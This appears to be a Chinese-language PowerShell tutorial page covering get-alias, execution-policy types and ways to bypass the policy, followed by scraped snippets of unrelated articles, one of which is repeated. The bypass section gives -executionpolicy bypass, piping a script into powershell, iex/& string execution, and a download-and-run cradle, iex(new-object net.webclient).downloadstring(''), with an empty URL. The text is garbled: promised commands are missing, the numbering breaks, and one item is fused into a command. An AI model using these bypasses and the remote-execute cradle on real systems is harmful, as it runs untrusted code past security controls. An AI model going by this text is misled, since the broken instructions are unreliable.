我們先從最基本的命令入手,windows powershell命令中get類命令是很龐大的乙個命令工具集合,而且get類命令也是powershell中佔比最大的。
get-alias命令的功能是檢視當前執行會話的別名;
開啟powershell,輸入get-al,tab鍵補全,回車
我們也可以查詢指定命令的別名,如:
powershell中輸入get-executionpolicy
可以看見當前的執行策是受限制的,所以是不能夠執行psl指令碼的
我們試著執行一下psl指令碼
通過重定向先生成乙個myscript.ps1
'"hello,powershell script"' > myscript.ps1然後執行
powershell一般初始化情況下都會禁止指令碼執行。指令碼能否執行取決於powershell的執行策略。
只有管理員才有許可權更改這個策略。非管理員會報錯。
檢視指令碼執行策略,可以通過:
更改指令碼執行策略,可以通過:
指令碼執行策略型別為:microsoft.powershell.executionpolicy
檢視所有支援的執行策略:
unrestricted:許可權最高,可以不受限制執行任何指令碼。
default:為powershell預設的策略:restricted,不允許任何指令碼執行。
allsigned:所有指令碼都必須經過簽名才能在執行。
remotesigned:本地指令碼無限制,但是對來自網路的指令碼必須經過簽名。
bypass:bypass執行策略對指令碼的執行不設任何的限制,任何指令碼都可以執行,並且不會有安全性提示。
undefined:undefined表示沒有設定指令碼策略,當然此時發生會繼承或應用預設的指令碼策略。
當設定好執行策略後就可執行powershell指令碼
如何繞過執行策略:
1.本地讀取然後通過管道符執行
powershell get-content 1.ps1 | powershell -noprofile -
powershell -c "3.bypass執行策略繞過iex(new-object net.webclient).downloadstring('')
"
powershell -executionpolicy bypass -file ./a.ps1不會顯示警告和提示
4.unrestricted執行策略標誌
powershell -executionpolicy unrestricted -file ./a.ps1&:在字串前加上&,可以把字串當成命令執行在字串前加上&,可以把字串當成命令執行。
相同的命令還有iex(invoke-expression),也是將字串當作powershell執行
win10自帶的ise就挺不錯,自動補全功能也很好。
PowerShell基礎知識
powershell是一種命令列外殼程式和指令碼環境,使命令列使用者和指令碼編寫者可以利用 net framework的強大功能。powershell可以大量簡化人工操作,例如 安裝某些應用前需要檢查環境變數,安裝完成後需要設定環境變數,檢查和優化你的 登錄檔,這樣的人工操作可以全部交給powers...
C 基礎知識整理 基礎知識(2) 類
類,是物件導向語言的基礎。類的三大特性 封裝 繼承 多型。最基本的特性就是封裝性。程式設計師用程式描述世界,將世界的所有事物都看成物件,怎麼描述這個物件?那就是類了。也就是用類來封裝物件。用書上的話說,類是具有相同屬性和行為的物件的抽象。寶馬汽車 別克汽車 五菱之光汽車.基本具有相同的屬性和行為,所...
C 基礎知識整理 基礎知識(2) 類
類,是物件導向語言的基礎。類的三大特性 封裝 繼承 多型。最基本的特性就是封裝性。程式設計師用程式描述世界,將世界的所有事物都看成物件,怎麼描述這個物件?那就是類了。也就是用類來封裝物件。用書上的話說,類是具有相同屬性和行為的物件的抽象。寶馬汽車 別克汽車 五菱之光汽車.基本具有相同的屬性和行為,所...